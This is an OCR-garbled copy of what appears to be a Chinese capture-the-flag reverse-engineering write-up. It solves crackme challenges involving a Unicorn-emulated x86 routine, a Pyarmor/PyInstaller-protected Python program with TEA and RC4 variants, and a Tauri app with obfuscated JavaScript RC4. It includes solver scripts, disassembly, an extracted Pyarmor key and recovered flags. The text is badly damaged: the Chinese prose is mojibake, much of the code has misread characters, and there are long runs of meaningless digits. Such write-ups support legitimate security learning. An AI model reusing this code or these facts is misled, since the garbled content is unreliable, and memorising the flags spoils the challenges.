+ 00 + O + 00 + = +
N+ N+ 0+ N+ O
+ W+ G+ O+ W o+

N+ N 4+ B+

8

8 +5

+ 3 +

+ N
U+
+ N

w
+ © +
A+ P

+ © + O + 0 +

(63}
+

+ 2

+ 5
2 +6 + 4

+ 9 +

+ O + © + O

W+ N O+ W+
N O+ N+ N+ N
+ N 4+ W o+ o+

4 +

7+ 1+
+ 5 +
9 + 7
+ 9 +
4 + 9
+ 8 +

6 +2 +

0 + ~N + O

2
+
6
+
6
+
6

+ U+ B+ N+
N + © + O + ©
+ © 4+ ~N + O +
A+ N + O +
+ 0 4+ 0 + b+

1+7+1+4+2+7+5+4+2+6+2+3+4+2+7+2

7) +int(7 + 2 + 8+ 3 + 7 + 3+ 3
+2+9+5+2+9+4+9+2) +

1) +1int(L + 7 +8+2 +4+5+2+9+1+2+5+

+

9+2 +8
+ 9 + 3 +
3+9+9
+ 8 + 3 +
7T+ 4+ 1

+ N O+ W+
A+ W o+ N
+ W o+ N+

1+8+5
+ 4 + 5 +
6 +1+1
+ 1+ 3 +

6 +8+6

+ W o+~ 4+
A+ © 4+ ©
+ B o+ N+
= o+ © 4+ ©
+ N 4+ © 4+
W + O + O
+ N 4+ o o+

2 +6
+ 9 +
5+ 7
+ 7 +

8 +9



+ W 4+ 0 + © + O + U + O + 0 + W + U + W + ~N + ~N + F + N + 0 + U + 0 + G + O + O + F + N + W +

4) + int(9 + 5+ 1 +1+6 +7 + 2 +
+5+1+1+5+1+3+9+7+7
3) +int(4 +2+1+7+3+7+9+8+1+2+2+4+8+6+4+
2+5+5+8+2+7+8+6+2+7+9+5+9+2+6+5+4+38
+5+4+6+8+9+4+5+8+1+8+1+6+3+8+4+ 4+ 8+
1+2+9+8+9+1+9+7+5+1+5+7+9+2+1+4+2+5
2) +int(7 + 2 +4+6+2+6+1+4+7+5+6+2+9+4+7+3+5+

+

6+1+9+9+5+7+6+2+6+6+2+1+8+8+2+5+3+5+1+
+7+8+9+3+3+1+7+4+5+6+7+6+7+3+2+6+2+8+2
4+ 9 +4+3+2+4+1+8+7T+9+4+9+5+4+2+1+7+1+2+
+1+5+5+7+3+9+3+8+8+5+4+2+8+9+2+2+2+3+2
5+6+3+9+9+7+7+7+3)+1int(8+8+7+8+6+3+2+1+4+
+3+3+6+5+6+8+8+4+3+1+4+3+6+1+5+4+3+3+09
4+ 8 +4+3+7+3+7+8+9+7+1+9+6+7+5+1+1+1+2+
+4 +6+7+3+5+2+5+2+3+4+7+6+4+6+2+7+2+7+3
5+6+8+7+6+9+7+6+2+5+7+9+4+2+9+8+8+7+ 7+
+ 2+ 7 +2+4+3+6+1+9+6+1+4+5+6+9+5+1+7+8+3
5+6+3+5+6+3+8+5+6+1+7+8+7+6+9)+1int(l +4+ 6 +
+8+4+9+7+7+9+4+9+7+1+6+1+1+6+9+1+1+9+1
5+9+6+2+5+4+3+1+2+9+7+6+6+7+7+8+6+6+9+
+5+9+4+1+4+9+7+6+2+8+5+3+6+7T+1+4+7+4+4
7+4+3+5+1+3+1+8+4+4+5+7+8+7+4+6+9+7+1+
+6+3+2+2+7T+6+5+5+9+1+4+7+7+7+8+7+7+2+ 8
6 +9+7+1+6+3+9+3+8+5+9+5+1+8+1+7+3+5+7+
+7+1+9+2+2+2+9+1+1+8+6+5+5+4+38) +1int(9 +8 + 1
6+3+8+6+5+9+1+8+1+3+3+4+6+9+3+2+6+4+5+
+3+6+9+3+3+8+4+9+7+3+4+5+4+8+6+2+5+3+6
8+2+8+3+6+5+8+2+7+1+6+5+8+2+2+7+8+1+9+
+ 4+ 7 +8+9+5+7+8+7+6+1+9+6+4+3+6+6+6+9+1
5+6+8+7+2+7+1+4+9+6+3+5+8+6+6+2+5+2+9+
+ 5+3+4+7+3+2+6+6+6+2+2+1+1+1+5+6+2+9+4
4 +8+2+4+8+2+1+7+4+9+3+8+5+5+9+6+6+1+3+
+3+3+9+8+7+3+1+8+2+2+1+3+5+5+6+4+7+2+38
3+ 7 +7+2+4+8+9+2+6+ 2+

+ 6 +4+7+4+8+7+4+6+1+2

6 +1

+ 4 +

2 + 4

+ 5 +

+5+6+4+1+4+3+6+1+1+9+5+5+2+7+4+2+7+7+3
4 +1+7+9+7+8+6+5+1+7+1+5+8+3+2+8+9+5+1+
+1+4+8+7+6+8+5+4+7+4+2+4+7+9+5+7+5+1+ 8
4 +4+5+7+9+4+3+7+7+9+1+8+6+9+8+7+1+9+1+
+9+5+7+1+1+5+8+4+8+9+6+9+5+5+5+3+8+1+6
6 +9 +9+2+4+6+2+7T+1+6+4+6+1+8+6+9+6+5+2+
+9+8+8+6+8+8+3+2+3+7T+9+4+3+4+8+8+9+ 4+ 6
6+1+7+5+7+2+5+4+5+5)+int(6+2+1+6+8+8+6+5+
+2+7+1+9+5+3+6+4+9+5+7+5+5+1+4+4+5+8+5
8 +6+8+5+9+9 +3+2+4+1+6+2+5+1+7+8+7T+5+4+
+5+2+7+5+9+4+9+5+2+3+9+2+7+7+4+5+1+4+7
9+3+2+6+6+7+4+3+7+8+2+7+4+6+4+4)+1int(8 + 6 +
+4+6+4+5+7+3+2+9+7+5+1+1+9+5+7+6+6+4+3
1+2+5+6+4+5+8+9+2+6+3+2+9+9+5+6+1+9+8+



5+2+4+1+1+2+3+2+3+1+1+8+2+8+4+7+9+3+3+3
+1+3+2+7+8+5+2+5+1+6+8+9+8+6+6+6+8+2+9+
2+4+6+6+5+8+9+9+5+8+8+5+3+8+5+4+3+6+6+2
+5+2+2+2+8+4+7+2+3+9+5+4+3+4+9+6+4+5+T7+
1+1+2+7+7+3+2+7+1+6+5+6+4+1+8+6+4+7+1+4
+9+3+9+8+5+7+4+9+2+2+8+1+5+2+5+3+2+8+ 4+
8+ 7 +6+3+8+7+5+5+7+1+6+2+8+8+6+5+8+4+9+7
+3+5+3+6+9+6+1+3+6+3+6+8+1+2+6+8+4+8)+
int(2+4+9+3+2+2+5+6+7+1+8+5+8+9+5+7+8+6+5
+1+7+7+9+6+4+7+1+7+6+3+6+4+2+8+2+4+5+ 4+
2+8+2+5+3+4+1+1+9+5+6+8+1+7+8+5+2+6+6+1
+1+9+7+7+6+4+1+8+9 +3+8+3+2+7+9+9+4+ 1+ 4+
2+3+2+1+1+4+4+6+1+2+6+1+7+3+6+1+2+5+4+38
+3+6+9+5+3+9+4+6+8+2+9+4+3+8+2+9+6+4+ 3+
6+5+1+4+3+7+9+1+2+8+3+3+9+2+8+1+9+1+3+4
+9+7+9+9+1+8+2+6+4+1+7+5+4+3+3+5+2+2+6+
1+9+1+5+4+3+4+4+1+9+3+2+5+6+6+4+1+4+3+1)
+1int(0) + int(1 + 3 +7 +2+ 2+ 5+ 1)))

16  print("enc = ",encrypt)

PS D:\CTF3H B \3E I #F \2025\PLUS\chal> D:\python3.9\python.exe .\plus.

enc = 425MvHMxtLqZ3ty3RZkw3mwwulNRjkswbpkDMK+3CDCOtbe6kzAqPyrcEAI=

methodcaller ('mem_map', 16777216, 2097152) {}

methodcaller ('mem_map', 18874368, 65536) {}

methodcaller ('mem_write', 16777216, b'\xf3\x0f\xle\xfaUH\x89\xe5H\x89}\xe8\x89u\xel\x89\xdO\x88E\xe®\xcTE\xfc\x00\x00\x
00\x00\xebL\x8bU\xfcH\x8bE\xe8H\x01\xd0\x0f\xb6\x00\x8d\x0c\xc5\x00\x00\x00\x00\ x8bU\xfcH\x8bE\xe8H\x01\xd®\x0Ff\xb6\x002
E\xe@\x8du4\x01\x8bU\xfcH\x8bE\xe8H\x01\xdO\x0f\xb6\x00\xc1\xe®\x05\x89\xc1\x8bU\xfcH\x8bE\xe8H\x01\xd0\x8d\x14\x0e\x88\x
10\x83E\xfc\x01\x8bE\xfc; E\xelr\xac\x90\x90] ') {}

methodcaller ('reg_write', 4u, 18939903) {}

[+]input your flag: ©

methodcaller ('mem_write', 18878u6u4, b'0') {}

methodcaller ('reg_write', 39, 18878u6u4) {}

methodcaller ('reg_write', 43, du) {}

methodcaller ('reg_write', 40, 7) {}

methodcaller ('emu_start', 16777216, 16777332) {}

methodcaller ('mem_read', 18878u6u, uu) {}

no way!

ER—TERME

EFIR

1 from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UC_PROT_READ, UC_PROT_WRITE,
UC_PROT_EXEC

from unicorn.x86_const import *
user_input = dnput()
uc = Uc(UC_ARCH_X86, UC_MODE_64)

uc.mem_map (0x1000000, 0x200000) # XX
uc.mem_map (0x1200000, 0x10000) # BUIEX

O 00 N O U M W N

code =
b'\xf3\x0f\x1le\xfaUH\x89\xe5H\x89}\xe8\x89u\xe4\x89\xdO\x88E\xe0\xc7E\xfc\x00\x
00\x00\x00\xebL\x8bU\xfcH\Xx8bE\xe8H\x01\xdO\x0f\xb6\x00\x8d\x0c\xc5\x00\x00\x00

=
(O}



\x00\x8bU\xfcH\x8bE\xe8H\x01\xdO\x0f\xb6\x002E\xe0\x8d4\x01\x8bU\xfcH\x8bE\xe8H
\x01\xdO\x0f\xb6\x00\xcl\xed\x05\x89\xc1l\x8bU\xfcH\x8bE\xe8H\x01\xd0\x8d\x14\x0
e\x88\x10\x83E\xfc\x01\x8bE\xfc;E\xe4r\xac\x90\x90]"'

11  enc = '425MvHMxtLqz3ty3RZkw3mwwulNRjkswbpkDMK+3CDCOtbeb6kzAqPyrcEAI="

12

13 uc.mem_write(0x1000000, code)

14  uc.mem_write(0x1201000, user_input)

15

16 uc.reg_write(UC_X86_REG_RSP, 0x120ffff)

17 uc.reg_write(UC_X86_REG_RDI, 0x1201000)

18 uc.reg_write(UC_X86_REG_RSI, 44)

19 uc.reg_write(UC_X86_REG_RDX, 7)

20

21 try:

22 uc.emu_start(0x1000000, 0x1000074)
23 result = uc.mem_read(0x1201000, 44)

24  except Exception as e:

25 pass

NIGFIRINAITHIZ Intel x86RIN 255, HiF+7 #dF|EEbinXXHE, AEihiHidakywiF
MEZREFTHEMEIEE, BWEATE

“vseg@bo:0000000000000000 F3 OF 1E FA endbré4

segPeo: 0eRercereeeeeRee4 55 push rbp
seg@o0:0000000000000085 48 89 ES mov rbp, rsp
segPoo: 0oeeoe0000000008 48 89 7D ES8 mov [rbp+input], rdi
5egP00: 0000e000000000C 89 75 E4 mov [rbp+length], esi
segPo0:000000000000000F 89 DO mov eax, edx
segPo0: 0000000000011 88 45 EO mov [rbptkey], al ; eax = edx =7
segPo0:0000000000000014 C7 45 FC 00 ©0 00 mov [rbp+count], @
$eglo0:0000000000000014 ©O
5egP00:0000000000000018 EB 4C jmp short loc_69
5eg000: 000000000000001D e
s5egoo0: 00008000000008001D
5egoo0:000000000008001D loc_1D: ; CODE XREF: sub_e+6Flj
segfoo: 0000000e0e0e1D 8B 55 FC mov edx, [rbp+count]
5egboo: 0o0eA0NA0AA0Ne20 48 8B 45 ES8 mov rax, [rbp+input]
s5egheo: 00enee00e000e24 48 01 DO add rax, rdx ; input + count
5egoeo: 0eRen0eeeeeeeRe27 OF B6 00 movzx  eax, byte ptr [rax]
Seg@00:000enB00RAReeRA2A 8D OC C5 00 60 00 lea ecx, ds:@[rax*8] ; (input + count) * 8
seg@o0:000000000000082A 60
segPoo: 0oPeoee0e0000e31 8B 55 FC mov edx, [rbp+count]
5egl00: 00000e00000R0R34 48 8B 45 ES8 mov rax, [rbp+input]
segPo0: 0000000000000038 48 01 DO add rax, rdx
5eg000: 0000000000038 OF B6 00 movzx  eax, byte ptr [rax]
5eg000:000000000000003E 32 45 E0 xor al, [rbp+key] s (input + count) " key
5eg000:0000000000000041 8D 34 01 lea esi, [rex+rax]
5eg000: 0000P00P00ALR44 8B 55 FC mov edx, [rbp+count]
5eg000: 0000P00P00P0R47 48 8B 45 EB mov rax, [rbp+input]
5eg0o00: 0000P00P00e0Re4B 48 ©1 DO add rax, rdx
5eg000: 0P00PO0P0ORORR4E OF B6 00 movzx  eax, byte ptr [rax]
Segoe0:0000000000000051 C1 EB 05 shl eax, 5 ; (input + count) << 5
segboo:0000000006000854 89 C1 mov ecx, eax
5egoeo: 0AeeAeeeBeeeeRs6 8B 55 FC mov edx, [rbp+count]
segleo: 0eReAceABeAReR59 48 8B 45 EB8 mov rax, [rbp+input]
segPeo: 0peepeeeeeeeeesD 48 01 DO add rax, rdx

goeeo: 8D 14 eE lea edx, [rsitrcx] |
segPo0: 00000ee0R0PRR63 88 10 mov [rax], dl
segPe0:0000000000000065 83 45 FC €1 add [rbp+count], 1
segPe0:0000000000000069
seglo0:0000000000000069 loc_69: ; CODE XREF: sub_e+1B1j
$egPo0:0000000000000069 BB 45 FC mov eax, [rbp+count]
5eg000:000000000000006C 3B 45 E4 cmp eax, [rbp+length]
5eg000:000000000000006F 72 AC ib short loc_1D

HABIR

import base64

1

2

3 digist_table = b"0123456789"

4  lower_table = b"abcdefghijklmnopqgrstuvwxyz"



supper_table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
punct_table = b"!I\"#3$%&\"' ()x+,—./:;<=>2@[\\] _"{|}"
brute_table = digist_table + lower_table + supper_table + punct_table

O 00 N oo U»

enc = '425MvHMxtLqZ3ty3RZkw3mwwulNRjkswbpkDMK+3CDCOtbe6kzAqPyrcEAI="
10  enc_list = list(base64.b64decode(enc))

11

12 def encrypt(byte):

13 res = ((byte x 8) + (byte » 7) + (byte << 5)) & Oxff
14 return res

15

16 for dindex in range(0,44):

17 for ch in brute_table:

18 check = encrypt(ch)

19 if check == enc_list[index]:

20 print(chr(ch),end="")

ez_py | solved
A —HEH2NMFDPIXHE, — P EPyInstalleri]BMexeX, F— N EXpyarmorilZgEmN

src.py
1. %917 key.exe
pyinstxtractorf#ZE £ ZIpyc, #H—F RFZE

BAZIRER pycdc #ITRIF, BRREEITE, NATELMPyLingualgBERETTEAS, B
TR IFIEREITFREIRbytecodet TR Z patch, MENAGFEIEEREIR

WD PyLingual About Recently Viewed v Help

key.pyc Python3.13

Syntax, Semantic Errors <

File

"/decompiler workspace/23cfc6313e1513eabb1758de641e21742bc107c5392960bf03a9ae33ae72fc87/decompiler_output/indented_0.py",
line 42

00oG.append(ast.Assign(targets=[ast.Name(id="o0olL', ctx=ast.Store())], value=ast.BinOp(ast.BinOp(ast.Name(id='000F', ctx=ast.Load()),
ast.RShift(), ast.Constant(8)), ast.BitXor(), ast.Name(id="'000F', ctx=ast.Load())), ast.BitAnd(), ast.Constant(65535)))

A

SyntaxError: positional argument follows keyword argument

<module>: Success: Equal

<module>.changli: Success: Equal
<module>.Shorekeeper: Success: Equal
<module>.Kathysia: Success: Equal
***<module>.Phrolova: Failure: Compilation Error
<module>.shouan: Success: Equal

***<module> jinhsi: Failure: Different control flow

X FREEH Phrolova K, HEA pycdas BUHXI NS BIbytecode, R4hdeepseekE R LR
%o



(RS ZEZS

def Phrolova(o000017):
000A = 'Carlotta'
00oB = ['o0oC', 'oOoD', 'oOoE', 'oOoF']
000G []
000G.append(ast.Assign(targets=[ast.Name(id="000H',

ctx=ast.Store())],value=ast.Constant(305419896)))

6 000G.append(ast.Assign(targets=[ast.Name(id="'000I',
ctx=ast.Store())],value=ast.BinOp(ast.Name(id='000E', ctx=ast.Load()),
ast.BitAnd(),ast.Constant(65535))))

7 000G. append(ast.Assign(targets=[ast.Name(id="'0003]"',

a A W N B

ctx=ast.Store())],value=ast.BinOp(ast.BinOp(ast.Name(id="'000E",
ctx=ast.Load()), ast.RShift(),ast.Constant(16)), ast.BitAnd(),
ast.Constant(65535))))

8 000G. append(ast.Assign(targets=[ast.Name(id="'000K',
ctx=ast.Store())],value=ast.BinOp(ast.BinOp(ast.Name(id="'000E",
ctx=ast.Load()), ast.BitXor(),ast.Name(id='oOoF', ctx=ast.Load())),
ast.BitAnd(), ast.Constant(65535))))

9 000G. append(ast.Assign(targets=[ast.Name(id="'o0oL"',
ctx=ast.Store())],value=ast.BinOp(ast.BinOp(ast.BinOp(ast.Name(id='000E",
ctx=ast.Load()),ast.RShift(), ast.Constant(8)), ast.BitXor(),
ast.Name(id="'o00oF',ctx=ast.Load())), ast.BitAnd(), ast.Constant(65535))))

10 000G.append(ast.Assign(targets=[ast.Name(id="'00oM',

ctx=ast.Store())],value=ast.BinOp(ast.BinOp(ast.Name(id="000H',

ctx=ast.Load()), ast.Mult(),ast.BinOp(ast.Name(id='000oF', ctx=ast.Load()),
ast.Add(), ast.Constant(1l))),ast.BitAnd(), ast.Constant(4294967295))))

11 000G. append(ast.Assign(targets=[ast.Name(id="'00oN',

ctx=ast.Store())],value=ast.BinOp(ast.BinOp(ast.BinOp(ast.BinOp(ast.Name(id="'00

oD',ctx=ast.Load()), ast.LShift(), ast.Constant(5)), ast.Add(),
ast.Name(id="'o00oI',ctx=ast.Load())), ast.BitXor(),
ast.BinOp(ast.Name(id='000D', ctx=ast.Load()),ast.Add(), ast.Name(id='oOGoM',
ctx=ast.Load()))), ast.BitXor(),ast.BinOp(ast.BinOp(ast.Name(id="'0o06oD',
ctx=ast.Load()), ast.RShift(),ast.Constant(5)), ast.Add(), ast.Name(id='o0oJd',
ctx=ast.Load())))))

12 000G. append(ast.Assign(targets=[ast.Name(id="'000oP',

ctx=ast.Store())],value=ast.BinOp(ast.BinOp(ast.Name(id="'000C',

ctx=ast.Load()), ast.Add(),ast.Name(id='000oN', ctx=ast.Load())), ast.BitAnd(),
ast.Constant(65535))))

13 000G. append(ast.Assign(targets=[ast.Name(id="'00oN',

ctx=ast.Store())],value=ast.BinOp(ast.BinOp(ast.BinOp(ast.BinOp(ast.Name(id="'00

oP',ctx=ast.Load()), ast.LShift(), ast.Constant(5)), ast.Add(),
ast.Name(id="'00oK',ctx=ast.Load())), ast.BitXor(),
ast.BinOp(ast.Name(id='000P', ctx=ast.Load()),ast.Add(), ast.Name(id='oOoM',
ctx=ast.Load()))), ast.BitXor(),ast.BinOp(ast.BinOp(ast.Name(id="'000P',
ctx=ast.Load()), ast.RShift(),ast.Constant(5)), ast.Add(), ast.Name(id='oOolL',
ctx=ast.Load())))))



14 000G.append(ast.Assign(targets=[ast.Name(id="'000Q',
ctx=ast.Store())],value=ast.BinOp(ast.BinOp(ast.Name(id='0o00D",
ctx=ast.Load()), ast.Add(),ast.Name(id='000oN', ctx=ast.Load())), ast.BitAnd(),
ast.Constant(65535))))

15 000G. append(ast.Return(ast.Tuple(elts=[ast.Name(id="'000oP',
ctx=ast.Load()),ast.Name(id="'000Q', ctx=ast.Load())], ctx=ast.Load())))
16 000U = ast.FunctionDef(name=000A, args=ast.arguments(posonlyargs=[], args=

[ast.arg(arg=a) for a 1in oGoB], kwonlyargs=[], kw_defaults=[], defaults=
[1) ,body=000G, decorator_list=[])

17 000V = ast.parse('\ndef _tea_helper_func(a, b, c):\n magicl = (a " b)
&OXDEADBEEF\n magic2 = (c << 3) | (a >> 5)\n return (magicl + magic2 - (b
&OXCAFEBABE)) & OXFFFFFFFF\n\ndef _fake_tea_round(x, y):\n return ((x
*Ox9E3779B9) A (y + 0x12345678)) & OXFFFFFFFF\n\n_tea_magic_delta = Ox9E3779B9
AOx12345678\n_tea_dummy_keys = [0x1111, 0x2222, 0x3333, 0x4444]\n').body

18 o0oW = ast.Module(body=[000U] + 000V, type_ignores=[])
19 ast.fix_missing_locations (o0oW)

20 000X = compile(oOoW, filename='<tea_obf_ast>', mode='exec')
21

22 # print(dis.dis(o0oX))

23

24 o0oY = {}

25 exec (000X, o000Y)

26 if 000A in o0oY:

27 0000017[000A] = 0G0Y[000A]

28 return None

2 EAH Phrolova REEMastEIRENASHIZET B— MR Carlotta , TEEMASBEIEBE,
ERETIHER dis.dis BithcodetypeXt & i & HigL

REPEENTELRRE, BIERBIRTUMEEFHE

RIBHEMNZERIZ: shouan -> Carlotta -> changli o WPMEBEHIELEMTEA, AT LEBELR
=

2. S tfrpyarmor

pyarmor-1lshot #{THEE, —HiRIR~ZkFEldata, [FETEbytecoderiEIML PYOO0O0O0OO FEAE
"B T o



PS D:\CTF\pyarmor-lshot\oneshot> python .\shot.py
D:\CTF& B \F 15 \2025\ezpy\src\

2025-10-12 03:03:31,629 Found data in source: src.py
2025-10-12 03:03:31,634

Pyarmor Runtime (Trial) Information:

Product: non-profits

AES key: ab738f35ffce23bl3ae73d5a2cl7a896

Mix string AES nonce: 692e6e6f6e2d70726¥666974

2025-10-12 03:03:31,785
2025-10-12 03:03:31,785

HREGER

1 def init(key, key_len):

2 ' __pyarmor_enter_54746__(...)"

3 i=0

4 sbox = None( , None( , 256))

5 for j in None( , 256):

6 i = (i + sbox[j] + key[]j % key_len]) % 256
7 sbox[j], sbox[i] = sbox[i], sbox[j]
8 ' __pyarmor_exit_54747__(...)"

9 return sbox

10

11  def make(box):

12 ' __pyarmor_enter_54749__(...)"

13 i=0

14 j=0

15 reslut = []

16 for count in None( , 256):

17 i=(i+ 1) % 256

18 j = (j + box[i]) % 256

19 box[i], box[j] = box[j], box[i]
20 k = (box[i] + box[j] + count % 23) % 256
21 reslut.append(box[k])
22 ' __pyarmor_exit_54750__(...)"
23 return reslut



SERIMEE, —RELHERC4, BEHEBEN
INZERIZTE make. __doc__ , BERTIFIE key.exe WiEHkey, FthEtkeyBEfiFrcd

HADIR

from ctypes import *

1

2

3 def spilt_word(num):

4 high_word = num >> 16

5 low_word = num & Oxffff

6 return (high_word, low_word)
7
8
9

def combine_word(high_word, low_word):
return high_word << 16 | low_word

10

11 def tea_decrypt(dl,d2,key):

12 delta = Ox87456123

13 dl = c_uint32(d1)

14 d2 = c_uint32(d2)

15 ko = key & Oxffffffff

16 kl = (key >> 8 M 0x12345678) & Oxffffffff

17 k2 = (key << 4 N Ox87654321) & Oxffffffff

18 k3 = (key >> 12 A Oxabcdef00) & Oxffffffff

19 number = c_uint32(delta * 32)

20 for i in range(32):

21 d2.value -= ((dl.value<<4) + k2) A ((dil.value>>4) + k3) A (dl.value +
number.value)

22 dl.value -= ((d2.value<<4) + k0) A ((d2.value>>4) + kl) " (d2.value +
number.value)

23 number.value -= delta

24 return dl.value,d2.value

25

26 def ast_dec(high, low, e, f):

27 delta = 0x12345678

28 high = c_uintl6(high)

29 low = c_uintl6(low)

30

31 kO = e & Oxffff

32 kil = (e >> 16) & Oxffff

33 k2 = (e » f) & Oxffff

34 k3 = ((e >> 8 » f)) & Oxffff

35 sum = (delta * (f+1)) & Oxffffffff

36

37 low.value -= ((high.value<<5) + k2) ~ ((high.value>>5) + k3) ~ (high.value
+ sum)

38 high.value -= ((low.value<<5) + k0) * ((low.value>>5) + k1) A (low.value +

sum)



39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

83

return (high.value, low.value)

def key_dec(key_data):

key = []

for i in range(8,0,-1):
key_data[i-1], key_data[i] = tea_decrypt(

key_data[i-1], key_data[i], 2025
)

for id, word 1in enumerate(key_data):
magic = id * -id
high,low = spilt_word(word)
high,low = ast_dec(high, low, 1d+2025, magic)
key.append (combine_word(high,low))

print(f"key: {keyl}")
return key

def RC4_crypt(data,key,origin_key):
length = len(key)
S = [m for m in range(256)]
T = [key[n % length] for n in range(256)]

j =0

for i in range(256):
j = (j + S[i] + T[i]) % 256
S[i]1,S[31 = S[jl1,S[1]

i=j=t=0

for k in range(len(data)):
i (i + 1) % 256

(j + S[i]) % 256

4

j

if k % 2 == 0:
add_key

else:
add_key

origin_key[k % 9]

(origin_key[k % 9] x 2) % OxFFF

t = (S[i] + S[j] + k % 23) % 256
S(i1,S[3]1 = S[3],S[i]
datal[k] *= S[t] + add_key

return data

key_list = [105084753, 3212558540, 351342182, 844102737, 2002504052,
356536456, 2463183122, 615034880, 1156203296]

cipher = [1473, 3419, 9156, 1267, 9185, 2823, 7945, 618, 7036, 2479, 5791,
1945, 4639, 1548, 3634, 3502, 2433, 1407, 1263, 3354, 9274, 1085, 8851, 3022,



84
85
86
87
88
89
90
91

8031, 734, 6869, 2644, 5798, 1862, 4745, 1554, 3523, 3631, 2512, 1499, 1221,
3226, 9237]

origin_key = key_dec(key_list)

rc4_key = [i % Oxff for i in origin_key]
flag = RC4_crypt(cipher,rc4_key,origin_key)
print(bytes(flag))

#key: [1234, 5678, 9123, 4567, 8912, 3456, 7891, 2345, 6789]
#b'flag{8561a-852sad-7561b-asd-4896-quwx56}"'

easyTauri | solved
SR, FERRAYSX M. E MO, KEIFIETE html_actuator.js
£BE, BHE—TRC4

ARG ER

1 (function (a, c) {

2 const d = b;

3 const e = a();

4 while (true) {

5 try {

6 const a = parseInt(d(176)) / 1 + parseInt(d(172)) / 2 + parseInt(d(170))

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

/ 3 + —parselnt(d(171)) / 4 + -parselnt(d(167)) / 5 * (parseInt(d(168)) / 6) +
-parseInt(d(174)) / 7 *x (-parseInt(d(166)) / 8) + -parseInt(d(173)) / 9;
if (a === ¢) {
break;
} else {
e.push(e.shift());
}
} catch (a) {
e.push(e.shift());

}
}) (c, 452532);
function a(a, c) {

const d = by
const e = new TextEncoder () [d(169)](a);
const f = new TextEncoder () [d(169)](c);
const g = new Uint8Array(256);
let h = 0;
for (let b = 0; b < 256; b++) {

glb] = b;

h = (h + g[b] + e[b % e[d(175)]]) % 256;
[glb], glh]l]l = [glh], glbl];



27 }

28 let i = 0;

29 let j = 0;

30 const k = new Uint8Array(f[d(175)]);
31 for (let b = 0; b < f[d(175)]; b++) {
32 i= (i + 1) % 256;

33 j = (3 + glil) % 256;

34 (glil, gljl] = [gljl, glill;

35 const a = (g[i] + g[jl) % 256;

36 k[b] = f[b] * glal;

37 }

38 return k;

39 }

40  function b(a, d) {

41 const e = c();

42 b = function (a, b) {

43 a = a - 166;

44 let ¢ = e[a];

45 return c;

46 };

47 return b(a, d);

48 }

49  function c() {

50 const a = ["3283052tzDAVB", "542866JdmzNj", "4112658rTyTXQ", "16954tUYpad",

"length", "457163LwGIuU", "2696pusaTH", "233035azfeoA", "660GYEyB", "encode",
"2094372kZRrIa"];

51 c = function () {
52 return aj;

53 }s

54 return c();

55 }

7£ConsolefcHI—TINZB KL, RENEZIAM



i< [0 CElements Console Sources Network Performance Memory Application Privacy and security » & X
M@ topvr | @ Y Filter Default levels v | No Issues | 83

€ : - @x363b, @ 190=_@x97aee2(); (I D{try{
i dd4=parseInt(_ex151017(exbe))/exl+parselnt(_ex151e17(exac))/ex2+parseInt(_ex151017(0xaa))/ex3+-
parseInt(_ex151017(@xab))/ex4+-parseInt(_6x151017(8xa7))/ex5*(parseInt(_ox151017(0xa8)),/0x6)+-
parseInt(_ex151017(8xae))/ox7*(-parseInt(_@x151017(08xa6))/0x8)+-
paPSFInt( exlﬁlal?(exad))loxq {_ex3bodda===_ex14d3d9) g _ex2be39e| “push’ ](_ex2be39e[ "shift ]());} (
"10));}3}}(_ex3aeb 9x6e?b4))
TextEncoder()[_@x22bac7(exa9)]
x2zbac7(exa9)]( 3 ui 0x100);
X0} _©x24capd<ex1ee; 8x24Laed++)l_ 5[ _ex24caed]=_@x24caed, @x562e52=
( exsazeJ2+ ex1f7F8o[_ xzdca@d]+ ex5d?b84[ ex24caed¥ ox5d7bs4a[ ex22bac7(exaf)]])%exlee,
_ex1f7f86[_ ox562e52], ox1f7fse[_ ex24caed]];}
ox2dbsbo[_ex22bac7(exaf)]); (
_Bx527286< exzdebQ[ exzzbacT(exaf)]: _0x527286++){_ 0x5b36c3=(_0x5b36c3+0x1)%0x100, OX205eCcl=
(_ex205ec1+ ox1f7f86[_ox5b3e6c3])%ex1ee,[ ex1f7fse[ ex5b36 ], ox1t7f86[_ex2e5ecl]]=
[_ex1f7fs6[_ex2e5ec1l], ex1f7f86[ ex5b36c3]];
(_ 9x1f7¥80[ ex5b36c3 ]+ BxlF?Fab[ @XZOJELl])%BXl@@ x444cfﬂ[ ex51728u]— ox2dbsbo[_ex527286]~_ex1f7f8e6[_e:
3 3e7d70 - 9x3aeb(); _Bx363b= (
_ex38715b;}, ex363b(_ex3e7d7e,_ex

'lﬂn1+h » A57163LWGIul’, "2

_ex3aeb();}

> Encrypt @xa313e4("
vint8Array(42)

Arrajsuffer(42),

PR EIREISEIM, FREIEAEEBIARIEEElinvoke ipc_command

RIBIR
1 async function _0x9a2c6e7() {
2 greetInputEl = document.querySelector ("#greet-input");
3 greetMsgEl = document.querySelector ("#greet-msg");
4 let getFlag = greetInputEl.value;
5 const ciphertext = Encrypt_0xa31304("SadTongYiAiRC4HH", getFlag);
6 greetMsgEl.textContent = await invoke("ipc_command", { name:
uint8ArrayToBase64 (ciphertext) 1});
7}
window.addEventListener ("DOMContentLoaded", () => {
10 document.getElementById("check-form").addEventListener ("submit", (e) => {
11 e.preventDefault();
12 _0x9a2c6e7();
13 })s
14  1);

EIDAFER, BEHE—HFNFRBR, SRELE— 15 Base6dFiTH, FIMIEEX
XX 5|, #—FEMEIGimrustiRizg



.rdata:20000001405E8CFF db e
.rdata:00000001405E8D00 aDafDkgxixgmzn® db 'daF/DkQxixGmzn8aPFW2E2PhM8NabRtLjp6pI+c8TtY3WMuPxfnvlAsp9aluf8noZ’

.rdata:00006801485EBDEO ; DATA XREF: target:loc_l4@@3687FTo
.rdata:00000001405E6D41 db 'y/T6Sz9DIg="

.rdata:eeeeeeel4e5eeD4C alpcCommand db 'ipc_command' ; DATA XREF: target+D@fto
.rdatz:00000801405E6D57 aName_B db 'name’ ; DATA XREF: target+E9To
.rdata:00000001405E6D5B db @

.rdata:00000001405E6D5C align 2eh

.rdata:00000601405E6D60 unk_1485E6D6@  db 2 ; DATA XREF: sub_140002630+24A9T0
.rdata:00000001405E6D61 db e

.rdata:00000001405E6D62 db e

BIXZIERE: BIATEA > fr/fbase64 -> LEIRE X

ARG R

1 #include<stdio.h>
2 #include<string.h>
3

4  char std_table[] =

